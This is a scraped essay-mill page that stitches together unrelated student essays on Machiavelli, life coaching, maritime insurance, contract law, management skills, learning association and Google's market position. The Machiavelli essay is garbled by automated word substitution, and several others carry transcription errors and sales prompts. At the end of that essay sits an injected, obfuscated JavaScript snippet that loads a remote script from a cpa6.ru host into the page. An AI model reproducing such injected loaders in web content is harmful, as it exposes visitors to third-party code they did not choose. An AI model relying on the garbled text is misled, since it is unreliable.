Was Machiavelli Satan Essay Research Paper The free essay sample

Was Machiavelli Satan? Essay, Research Paper The Church accused Niccolo Machiavelli of being Satan for composing his book The Prince. Machiavelli completed The Prince in 1513. He wrote it as a gift to Lorenzo Medici, called the Magnificent, swayer of Florence. The political positions Machiavelli expressed in his book went against the divinity of the Church, specifically the Ten Commandments and the Beatitudes. Machiavelli wrote to derive control of a princedom one must be barbarous. # 8220 ; ( I ) degree Fahrenheit you are a prince in ownership of a freshly acquired province and hold it necessary. . . to eliminate those who can or must assail you. . . . # 8221 ; , you must make so to protect your princedom. He gave the illustration of Duke Valentino # 8217 ; s murder of his Lords to keep order, stating if Valentino had non killed his work forces, Valentino would hold lost power. The Bible strongly forbids the violent death of anyone. The Sixth Commandment states # 8220 ; You shall non murder. We will write a custom essay sample on Was Machiavelli Satan Essay Research Paper The or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page # 8221 ; In what is known as the Beatitudes, from Jesus # 8217 ; Sermon on the Mount, the Bible besides says those who are mild shall inherit the Earth. A mild individual surely does non kill others for standing in his or her manner like Machiavelli is proposing to be done. Another poetry from the Beatitudes says those who are conciliators will be called boies of God. Conciliators do non kill either. For Machiavelli to state if killing a individual is for the improvement of your princedom, so to make so went against # 8220 ; God # 8217 ; s regulation # 8221 ; and the Church # 8217 ; s. True followings of the Church abide by the Church beliefs, because if you are non for God, you are for Satan. As a swayer a prince must do certain pledges and firm promises ; nevertheless, Machiavelli grounds that a prince does non hold to maintain his word all the clip. The prince can plight one thing under certain fortunes ; but if those fortunes change, he is free to alter his pledge if the alteration should profit his state of affairs. For case, Pope Alexander VI, who reigned before Machiavelli wrote The Prince, # 8220 ; made promises more persuasively or curse to them more solemnly and kept so few of them. . . . # 8221 ; Pope Alexander VI besides got what he wanted by lead oning others. The Beatitudes say those who desire righteousness will be filled ; those who are pure of bosom will see God. Righteousness and pureness do non happen through misrepresentation. The ninth of the Ten Commandments says # 8220 ; You shall non give false testimony against your neighbour, # 8221 ; intending do non lie. Matthew, the first book of the New Testament, says # 8220 ; Do no interrupt your curse. . . . # 8221 ; The Church had good ground to differ with Machiavelli about cunning. gt ; Nobility for princes can be seen as one of two ways: generous or penurious. If a prince is generous, his generousness normally comes at the disbursal of his topics. The prince would hold to revenue enhancement his people to a great extent in order to give. # 8220 ; This will get down to do him abominable to his topics and. . . will lose him the regard of everyone. # 8221 ; For a prince to give money, he need non revenue enhancement his people, instead give what he pillaged and stole piece on assorted runs. If a prince is ungenerous with the peoples money, he will non revenue enhancement as much ; therefore, his topics will honour him more. The instructions of the Church and the Bible promote generousness, and comment that maintaining one # 8217 ; s wealth to oneself will take to self devastation, Hell. The instructions likewise include # 8220 ; You shall non steal. # 8221 ; Although his thoughts were contrary to those of the Church and of the Bible, Machiavelli can non be compared with Satan. He was advancing the endurance of a princedom at any cost. He said a prince # 8220 ; will happen things which, though looking good, will take to his ruin if pursued, and others which, though looking immorality, will ensue in his safety and well-being. # 8221 ; Machiavelli besides said that if a swayer additions control by inhuman treatment and wickedness the swayer is without virtuousness, and he can non be compared to work forces of good character. He does non excuse this type of behaviour, he simply contends it is necessary to be as a prince. Assorted people in the Bible killed others. One of the greatest work forces in the Old Testament, King David took many lives in order to keep his land. Abraham, the adult male to whom God promised offspring every bit many as the stars in the sky, excessively attacked and murdered people. How can Machiavelli be so evil for merely proposing the devastation of enemies, if great work forces of the Bible really did the same? Pope Alexander VI was a adult male of the Church and a swayer, yet he openly deceived work forces. Satan excessively beguiled work forces: in the Garden of Eden Satan lied to Eve, in the desert Satan tried to misdirect Jesus. Was Alexander of all time compared to Satan as Machiavelli was? King David, known for his righteousness and unity, deceived a co-worker of his by perpetrating criminal conversation with his co-worker # 8217 ; s married woman, so covering his wickedness. At one clip, Machiavelli # 8217 ; s name was compared to Satan # 8217 ; s. His ideas and thoughts written in his book The Prince contradicted those of the Church and the Bible. But Machiavelli did non excuse the usage of force, force, and misrepresentation. He said utilizing those things would be bad if all work forces were good ; nevertheless, work forces are evil. Harmonizing to him, all work forces have a small of Satan in them. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Psycology Coaches essays

Psycology Coaches essays At TherepyWorld.com there is an article dealing with therapy, well sort of. When most people think of therapy, they think of people who are having problems, people who don't know what to do, well in this article there is a new look on therapy. It's actually not even called therapy, it's called coaching. Coaches are therapists who want to work with highly motivated clients who are not fragile, and who want to make BIG changes in their life on their profession or business. In fact, the more coaches there are, the more quickly the public will find the effectiveness and convenience and benefits of having a personal coach. Psychologist turned coaches repeat that not only is coaching lucrative and professionally satisfying, it is delightful to help clients nationally and internationally (via tele-coaching) while sitting by the pool or on the deck in jeans or shorts. Many coaches themselves have coaches. Many coaches are trained just to be coaches and are not therapists to begin with , yet those who have psychological training have so much more of an edge. Just as APA is for psychologists, coaches have ICF, International Coach Federation that brings together all coaches as one professional body. The ICF has recently instituted a process to credential coaches in order to insure quality standards for anyone hiring a personal or professional coach. Life coaching is an evolutionary step beyond therapy, and therapists who have made the shift say it has revitalized their lives and helped them reclaim the spirit that attracted them to mental health training in the first place. The coaching relationship is as energizing to coach as it is to the client and for the therapist who sill enjoys working with challenging psychological disorders, this can be a nice balance to one's professional life. Coaches who are hired re usually hired for longer periods of time allowing clients to build stronger more trusting relationships. For some situatio...

Maritime Insurance Essay Example | Topics and Well Written Essays - 1500 words

Maritime Insurance - Essay Example Furthermore, there are also few other insurance policies categorised as credit or debt insurances and buying insurance (Financial Consumer Agency of Canada, 2011). The primary objective of the paper is to present a view on the maritime insurance served by Lloyd’s Insurance Broker. This insurance will be served to a manufacturer of domestic electrical appliances and the pertinent aspects of the insurance will be described by a presentation report which includes the overview of the Lloyd’s company and maritime or marine insurance along with including merits for the manufacturing company. Lloyd’s is a United Kingdom based company which serves the customers in insurance and banking sectors. Lloyd’s had planned to start an insurance business after being influenced by the growing population and problems faced by the people. Since then, the idea was formulated and a corporate body was formed in 1688 from its own coffee house. Lloyd’s insurance corporate body was formulated underneath ‘Lloyd’s Act 1871 of the British Parliament’. The business processes of Lloyd’s are run by the members, managing agents, brokers and other members who support the governing body in operating the business. Lloyd’s generally deals with or serves its customer with a financial backup at the time of facing problems. The policies those are issued by Lloyd’s for their customers are related to casualty, energy, reinsurance, property, marine, motor and aviation. The history of Lloyd’s states the fact that they were the first insuran ce company to insure the commercial flight. However, it is also observed that Lloyd’s serves their customers with new and innovative insurance policies from its past till recent times. Lloyd’s fundamentally serves certain polices to protect the customers from certain risks which are unique and complicated. It serves in over 200 countries worldwide. Lloyd’s is one of the best and largest insurance

The Legal Structure of the Business Term Paper Example | Topics and Well Written Essays - 1250 words

The Legal Structure of the Business - Term Paper Example Don can set aside the contract under the following defenses against the formation of contracts: Duress and undue influence. In jurisprudence, duress is referred to as a condition where an individual performs an act due to violence, a threat or any other pressure against the person in question. Duress is the pressure that is exerted on a person to induce him to perform an act that he could not otherwise perform under the ordinary situation. Similarly, coercion used lures a one to act or not in a manner that he would not or act. Duress constitutes going against a person’s will, the possibility of legal defense and justification of the commission of an unlawful act          Undue influence in jurisprudence is an equitable doctrine where one party takes advantage of its positional power over the other, making free will bargaining impossible. Don can seek presumed undue influence since their relationship with Evan may fall in the class of relationships, which as a matter of law may facilitate the presumption of undue influence.   Failure of this is not the end.   The actual undue influence allows an innocent party to set aside the contract, in the absence of presumed undue influence provided there is evidence that the power was imbalanced when signing the contract.          Don can seek rescission as a remedy. Rescission is an unbiased remedy that unwinds the contract between the parties. Rescission ensures that the parties to a contract restore their positions as was before they entered the contract. A person seeking rescission must, therefore, agree to return all the benefits that he or she has received from the contract. The furniture, in this case, is not treated as part of the sales. This is pursuant to the exclusion clause. An exclusion clause is an expression in a contract that seeks to restrict the rights of the parties involved in the contract. The exclusion clause can only operate if the terms are incorporated in the contract by signature, as in this case, either by notice or by previous course of dealings.

Effective Management Action Plan

Effective Management Action Plan The report aims to help understand distinct management competencies skills possessed and develop an Action Plan for effective management by taking the Personal Assessment of Management Skills (PAMS) test located in Carlopio and Andrewarthas textbook Developing management skills: A comprehensive guide for leaders, (2012). A 6 choice Likert scale questionnaire of PAMS test helped in determining the strengths and weakness associated with each of the skills. To triangulate the analysis of competent skills, feedback from manager, co-worker and friend also assisted in final decision-making process. The following graph represents the results of PAMS, which helped me and the mentors to rate my skills and decide to describe the two competencies, which need to be focussed.   Ã‚   In assessing self-awareness competency, I scored 68% comparatively lower than other competency skills. It wasnt that I in sighted it as a weakness but due to the importance of skill in day to day life I wish to focus on improving it further since it determines emotional intelligence which relates to being smart, healthy and contented. The good was that I did reflect on incidents and tried to analyse shortcomings but the barrier was an image created whenever things went wrong and was not ready to accept wrong things and the same was hindering my personal growth. This was a major issue where everyone wanted me to work build self-confidence and inculcate positive sense of self-worth. 1) LITERATURE REVIEW: Self-awareness is the ability to read and understand our emotions as well as recognise the impact on work-performance relationship. Self-awareness is crucial for productive interpersonal and personal functioning as it helps to understand and empathise people. It helps to acquire knowledge about underlying dimensions of personality and is associated with human behavioural skills of work performance, problem solving, creativity, motivation and life satisfaction (Goleman (1998b: 14)). The five core aspects of self-awareness are Emotional Intelligence, Values, Cognitive Style, Attitude towards Change and Interpersonal Style, which capture all the essential aspects of personality (Allan Waclawski 1999; Atwater Yammarino 1992; Goleman 1998a, 1998b; Parker Kram 1993; Sosik Megerian 1999). Hence being self-aware is being smart, knowing and well managing feelings, utilizing them to make good decisions, motivating with zeal and persistence, maintaining hope in face of frustration, exhibiti ng empathy and compassion, interacting smoothly and maintaining relationships in all walks of life. (Goleman (1998b: 14)) 2) SKILL DEVELOPMENT ACTIVITY: My deficiencies rooted from the fact I was quick in assuming things in which sometimes I missed on facts and was rigid of my judgement. So to develop the shortcomings not being judgemental after things do not work out and moving on accepting things and change is on priority in my to do list. In addition, the focus was to ensure all the facts and never assume things and take a quick decision based on incomplete assumptions. I started maintaining a reflective journal for the whole semester and would describe the situations and improvements, discuss them with my mentors to achieve long-term strategic improvement. 3) ASSESSMENT OF SKILL DEVELOPMENT: During the final week of the semester I would again complete the evaluative surveys on Self Awareness in Carlopio and Andrewarthas textbook Developing management skills: A comprehensive guide for leaders, (2012), page 124 and believe that there would be a significant improvement in my scores reflecting that issues of being rigid and over judgemental have been ameliorated. Building effective teams is a group competency and I feel the need to master the skill since I aspire to become a successful Project Manager. The score for this skill from PAMS test by individual assessment was 70%, whereas peers and mentors graded around 74%. One of the reasons being, in case of difficult team members I usually end up taking their tasks and completing on time. However, gradually have realised to have a group mindset and encourage member contribution by group inspiration and motivation. 1) LITERATURE REVIEW: Paying attention to conflict situations (Bakken, E. (2007)) and making sure it resolves within the meeting and implementing four Ps of effective meeting for preparing and conducting meeting, before every group assignment meeting (Carlopio, J., Andrewartha, G. (2008)). Purpose: The reason for organizing a meeting should by clearly communicated amongst team members by circulating meeting agenda, which will help team members come, prepared for meeting. Participants: Depending on the purpose of meeting the right number of people and type of participants (homogeneous- heterogeneous, competition- cooperation, task process are invited. Planning: To ensure that the meeting is productive and efficient, everyone should be prepared for the meeting agenda, which is well structured as per the common rule and leads to final decision. Process: Process is defined as actual conduct of meetings with seven steps stated as follows: 1) Review 2) Introduction 3) Discussion of Ground Rules 4) Report 5) Display 6) Participation 7) Summarise. 2) SKILL DEVELOPMENT ACTIVITY: I plan to maintain a diary on daily basis. After team allocations, I will then analyse my actions during the task by writing down and reflect on these five questions; How successful was the building an efficient team from my point of view? How did the others respond to mine team-building decisions? Was there any conflict? What modifications can I make next time according to own feelings and from the feedback of my co-workers? In what ways can I contribute to make my team better at work? How can I improve my interpersonal relationships with difficult team members, which could be by analysing their attitude in order to encourage them to participate? Also need to follow the 4 Ps principle to ensure active participation of each team member, no stress to anyone in team, motivate the team to achieve goals and effectively allocate teammates by identifying the strengths and weakness and assuring that teams are competent to work virtually as well as in office. 3) ASSESSMENT OF SKILL DEVELOPMENT: During this semester, I have a chance to be a part of team and would do my best to be an efficient team player as well as be chosen to lead by vote. This will inculcate in me a sense of confidence to build effective teams for future work. Also would take the evaluative assessment again to ensure team-building skills have been significantly improved. (Allan Waclawski 1999; Atwater Yammarino 1992; Goleman 1998a, 1998b; Parker Kram 1993; Sosik Megerian 1999). Bakken, E. (2007). Twelve ways to build an effective team. Ceridan Corporation. Carlopio, J. Andrewartha, G, 2012.   Developing Management Skills: A comprehensive guide for leaders. Pearson Australia Goleman (1998b: 14)

Strength of Association

Strength of Association In research. Several principles have been shown to affect the strength of association between stimuli. Based on your own experiences in learning, provide an example of each of the following principles of association: contiguity, frequency, and intensity. Select one of your examples. Describe how a deferent principle of association might explain this example. Contiguity- Association by contiguity refers to the belief that our ideas, memories and experiences are link together when Is frequently experienced with the other, because tit contiguity the closer in time two events occurred. He more likely or strongly they would be associated. (Lieberman, 2012). When I was a little girl I would get into my mother's makeup and use her lipstick to draw on the bathroom wall. This upset my mother so she told me to stop doing this, but oddly enough I continued. As time went on she to spank me and say No when I did this, but when she would wake up and tint the bathroom walls clean tort my art work she would smile and say good girl. Then she would reward me with markers and other art supplies.I began to understand that if did what she said she would be happy and think I was a good girl and I would get art supplies for my good behavior. Frequency- With frequency this is an event or situation that would happen repeatedly. The frequency of association states that the more often two or more things occur together the more they will be associated together. An example that comes to mind Is that as a teen my mother would wake me up early In the morning everyday, which Is pretty hard, but In doing so she would get me a French vanilla cappuccino.I begin to feel every time I wake up n the morning I would get my lovely French vanilla cappuccino. I associated mornings and I guess my mother with a coffee beverage. Intensity- With intensity it involves stimuli. It is associations involving emotional or traumatic events. It occurs when I see places from the past that re mind me of a traumatic event. Trauma and memory form a generalization of fear as stimuli, which resembles those present during a traumatic event. (Lessee, Rabin, Heeler, Laughing, Garage, Pine, ; Grilling, 2010). When AAAS II years old my hip slipped out of place and AAAS in so such pain.I had been diagnosed for hip dysphasia. I was in tears form the pain that had increased over the previous year. By time got to the hospital was at my worst and I was put in the waiting room form six in the morning to 12 in the afternoon, before I was seen, then had x-rays done. By six in the evening I was fed up with the hospital and the staff and just wanted to go home, but I was forced to stay for emergency surgery the next mooring. After this situation I never really liked going to the hospital, because It reminds me of the pain I felt as a child.With my first example I would say it could fall into frequency, because the more I did one thing the more I did one thing such as drawing on the wall I would get spanked. So because of the frequency of the two together I begin to associate one with the other due to it happening do often. Reference Lieberman, D. A. (2012). Psychology of learning. San Diego, CA: Bridgeport Education ‘ Off C. (2010). Personalization of conditioned fear as a pathogenic marker of panic disorder. The American Journal of Psychiatry, 167(1), 47-55. Retrieved from the Protest database.

Google †PESTEL & Porter’s Five Forces Analysis Essay

1.0 Introduction Google Inc, a global technology company, founded in 1998 by Larry Page and Sergey Brin, is the most popular search engine in the world. Google provides numerous free services and products such as Google search, YouTube, Google Maps, and has transformed how people use and share information. Google’s business spans from advertising, data analytics, operating systems to technologically advanced devices such as Google Glass, Driverless cars, Solar-powered drones, and was recently named â€Å"The World’s Most Valuable Brand† due to consumers perception of Google being a forward-looking company focused on innovation (Bloomberg, 2014). As of 2013, Google has 43,862 employees working in more than 70 offices in over 40 countries around the world with their headquarters located in Mountain View, California, USA. (2014). For the purpose of this study, I will be basing my analysis of Google in Singapore, its Southeast Asia headquarters which opened in 2007. The following sections will analyse the various factors that will influence Google’s operations in Singapore, and conclude with recommendations of how Google should further improve to boost its competitive edge. 2.0 PESTEL Analysis 2.1 Political Though little political restrictions affect Google’s operations due to the nature of its business, government stability is a major aspect in Google’s strategic planning. Singapore had been rated Asia’s most politically stable country (Berdzenadze, 2013), and Asia’s most competitive economy in the Global Competitiveness Report by the World Economic Forum (2013). When the market of operations has political and economic stability,  businesses will thrive and in turn advertise more, thus increasing business opportunities for Google. 2.2 Economic Google was hailed as being â€Å"Recession-Proof† when they continued to post solid earnings through the economic downturn (Quittner, 2008). It is well positioned to weather the downturn, as its services are free to consumers, and advertisers substituted traditional media advertising with online advertising to cut costs. Regardless, Singapore is widely acknowledged as having one of the best business environments in the world. Ranked as the world’s easiest place to do business (The World Bank Group, 2014) and city with the best investment potential (as cited by Economic Development Board, 2014), Singapore with its sound monetary and fiscal policy attracts many investors. The more investment dollars pour into a business, the more they are willing to spend on advertisements, which increases business opportunities for Google. 2.3 Social In Singapore where there is high internet penetration rate of 87% and mobile penetration rate of 156% (IDA, 2014), consumers comfortable with technology often see the internet as the first source of product research before making their final purchase, making Google a very important part of the process. To increase the number of users accessing Google’s services from their mobile device, Google released its own Android mobile operating system which now holds 55.8% of the mobile device market share (comScore, 2014). It is thus increasingly important for marketers to influence consumer’s final purchasing decisions by advertising in this space. However, Google’s infrastructure created to customise and personalise each user’s search experience by storing their personal information has been  received with mixed reactions as some find Google’s sale of such information a violation of their privacy. As people’s attitude and concern towards protecting their private data change, Google’s business may face a threat. 2.4 Technological Beyond a search engine, Google constantly innovates and develop its wide range of free products aimed at strengthening user engagement. Technology rapidly advances, and Google actively takes measures to ensure they do not fall behind. According to Bloomberg data, Google has acquired 127 companies in the past three years (as cited by Farzad, 2014). Besides buying companies, such as Waze, a GPS navigation software, and Admeld, an advertising optimisation platform, in a smart defensive play to acquire companies that poses a threat to its business, Google has been acquiring a wide range of technological companies from Humanoid robots to Airborne wind turbines to Home automation devices. In a bid to strengthen its business, Google is increasingly moving into developing hardware technology that has a tangible presence in consumer’s homes and offices. 2.5 Environmental It is estimated that Google runs over a million servers in data centres worldwide, with its first Southeast Asia data centre in Singapore operating since 2013, and consumes a huge amount of electricity. Every time someone makes a search or sends an email, they contributes to the electricity bill at Google’s data centre (Tan, 2014). However, Google argues that they have made the world a greener place considering the electricity consumption for a search in lieu of a drive down to the library. Above all, unlike other companies, Google builds most of their own data centres down to the energy-saving chips it uses, and custom-designs its servers for efficient energy use (Glanz, 2011). Its  facility in Singapore uses recycled water for its cooling system. Although Google is a high carbon footprint business, it has adopted a proactive strategy to hold itself up as a 3ly responsible company by making its facilities environmentally-friendly through generating its own renewable energy from solar panels, wind farms and purchasing carbon offsets by funding green efforts. 2.6 Legal From the perspective of law and regulation, the internet is inherently transgressive and difficult to govern since it is global, and information can be instantly transferred at anytime, anywhere. Google’s products collects a lot of personally identifiable information on its users – DoubleClick cookies tracking online footprints, Google wallet storing name, credit card details, and thus how this information is compiled, used or stored are a natural concern. Google’s data centre in Singapore serves users around the region, and Singapore’s business-friendly approach with the privacy law on international transfers of data that does not restricts transfers to specific countries on their approved list, but instead puts the onus on the company to put in place measures to ensure personal data is transferred to locations with comparable standard of protection, makes compliance issues less complicated than that of Europe’s (Bratby, 2013). In general, Singapore is a relatively late adopter of privacy laws (The Register, 2014), and is largely reactive rather than transformative. As such, legal issues that may arise in Singapore are likely to be those that Google already has measures or policies in place. 3.0 Porter’s Five Forces Analysis 3.1 Threat of New Entrants Although the internet has traditionally been viewed as a â€Å"low barrier to entry† marketplace, the barriers to entry in the internet search market are high, as it would take a giant step in innovation, and a mammoth starting capital to build a network infrastructure that could compete with all of Google’s services and products. The scale of Google’s businesses has become a significant barrier to entry. Nevertheless, companies focusing solely on developing a single product or service that Google offers could potentially usurp Google’s dominance in that area, as seen with the Rubicon Project, an advertising start-up which surpassed Google’s Ad Network reach by over 6 million unique visitors (Thomas, 2012). 3.2 Threat of Substitution Some of Google’s products and services could potentially be substituted, such as users choosing GPS instead of Google Maps, but Google’s primary business is their online search engine, which is difficult to substitute. Everyday, an average of 5.9 billion Google searches are made (Statistic Brain, 2014). Although there are alternative sources of information such as newspapers, books, television, or radio, the internet is the preferred source for people to retrieve information as it provides information on demand. As of now, the threat of substitution is low as there are no foreseeable substitutions for online search. 3.3 Supplier Power Google owns its search platform and advertising services tool, thus it has very limited exposure to suppliers. Due to the advertising system used to generate revenue, both the advertiser and search engine user are Google’s customers. However, websites that have given inventory to Google for sale can be considered their supplier. As websites frequently have their inventory  listed across multiple ad exchanges, Google will have to return both quantity of sales and quality of pricing of their buys to maintain the impressions given to them for sale by web publishers. So long as Google maintains strong market dominance, supplier bargaining will remain low. 3.4 Buyer Power Although internet users are free to switch to alternative platforms, most of Google’s products and services that they use are at no cost to them. Whereas in the case where the buyer is the advertiser, buyer power is low as there are limited vendors they could spend with. A key feature of Google’s ad buying platform, DoubleClick, is that advertisers can buy ads on 300 different websites with a few clicks instead of making 300 calls or meetings to get the ads on all the websites. The scale of modern online media buying is staggering as Google provides access to millions of possible sites for advertising. Although Google’s products are not unique, they are at scale, and can make competition difficult for start-up and smaller competitors. 3.5 Industry Rivalry Google is known for being the best search engine with high relevance within its searches, thus its position as the market leader in the search market with about 80% market share (Nguyen,2012). Though competitors have caught up, and substitution of Google search in favour of Yahoo or Microsoft’s Bing is certainly possible, ‘Googling’ has now been ingrained in people’s mind, and is largely a habit instead of being driven by significant product differentiation. When Google introduced the Android operating system, they have placed themselves in direct competition with Apple. Though Android phones currently has larger market share than iOS phones, Apple will not easily give in in the battle of mobile operating systems. Google’s strategy is all about scale and interoperability. With advertising making up over 90% of its total revenue (Google Inc, 2014), it is critical for Google to protect its space, thus its entrance into the browser and mobile operating system market. When one owns the platform, one has the stage. Google tries to own as much of the overall ecosystem as they can so as to lock in its users and keep out competitors. In doing so, it does not need considerable advertising expense to stay and remain on top. 4.0 Conclusion & Recommendations In terms of PESTEL analysis, I recommend that Google venture into new markets around the region. Singapore is a mature market, thus opportunities to grow further are rather limited due to its market saturation and small population. In essence, it is difficult to justify large advertising spend when it can never attract large reciprocal sales as it simply does not have the population to support it. However, expansion into emerging markets in Southeast Asia such as Indonesia or Philippines will help its revenue growth. To illustrate, Indonesia has internet penetration at 24% (Statista, 2014), which translate to 60 million users. That is 12 times Singapore’s population. The propensity of growth there is phenomenon. In terms of Porter’s Five Forces analysis, I recommend that Google diversify into other ventures that helps generates income as it is not healthy for the company to rely almost entirely on one source of revenue. With its wide range of free products and services, Google could select a few of its products to further develop as alternative revenue sources such as its VOIP business, or licensing fees for its products. Google will also need to ensure that it maintains its momentum in the research and development of its search engine to ensure that it is ahead of its competitor. With Microsoft and Yahoo search’s merger, the convergence of technologies will improve their search engines, and possibly catapult Yahoo’s more successful products such as Yahoo Finance and Flickr. As long as Google’s continue to innovate and stay ahead of its game, they will remain the market leader in the industry. 5.0 References Bloomberg. (2014, May 21). Google Overtakes Apple as Most Valuable Brand [Video file]. Retrieved 13 June 2014, from http://www.bloomberg.com/video/google-overtakes-apple-as-most-valuable-brand-PgHrIgIsQMuzLZA4CxRJSg.html Bratby, R. (2013) Singapore takes business-friendly approach in data protection guidelines. Retrieved June 24, 2014, from http://www.zdnet.com/sg/singapore-takes-business-friendly-approach-in-data-protection-guidelines-7000021091/ comScore. (2014). comScore Device Essentials – Singapore & Hong Kong 2013. Retrieved June 13, 2014, from https://www.comscore.com/content/download/23711/1282705/version/1/file/ singapore-vs-hongkong-mobile-usage.pdf Berdzenadze, I. (2013) Singapore: Asia’s Leading Business Hub. CNN. Retrieved June 24, 2014, from http://ireport.cnn.com/docs/DOC-953461 Economic Development Board. (2014). About Singapore – Facts and Rankings. Retrieved June 13, 2014, from http://www.edb.gov.sg/content/edb/en/why-singapore/about-singapore/facts-and-rankings/rankings.html Farzad, R. (2014). Google at $400 Billion: A New No. 2 in Market Cap. Business Week. Retrieved June 22, 2014, from http://www.businessweek.com/articles/2014-02-12/google-at-400-billion-a-new-no-dot-2-in-market-cap Glanz, J. (2011, Sep 9). Google Details, and Defends, Its Use of Electricity. The New York Times, pp. B1. Retrieved June 23, 2014, from http://www.nytimes.com/2011/09/09/technology/google-details-and-defends-its-use-of-electricity.html Google Inc. (2014) Google Annual Report 2013. (pp. 26). Retrieved June 13, 2014, from http://investor.google.com/proxy.html Google Inc. (2014) Company – Google locations. Retrieved June 22, 2014, from http://www.google.com/about/company/facts/locations/ Google Inc. (2014) Investor Relations – 2014 Financial Tables. Retrieved June 22, 2014, from https://investor.google.com/financial/tables.html Info-communications Development Authority of Singapore. (2012). Google breaks ground for Singapore data centre. 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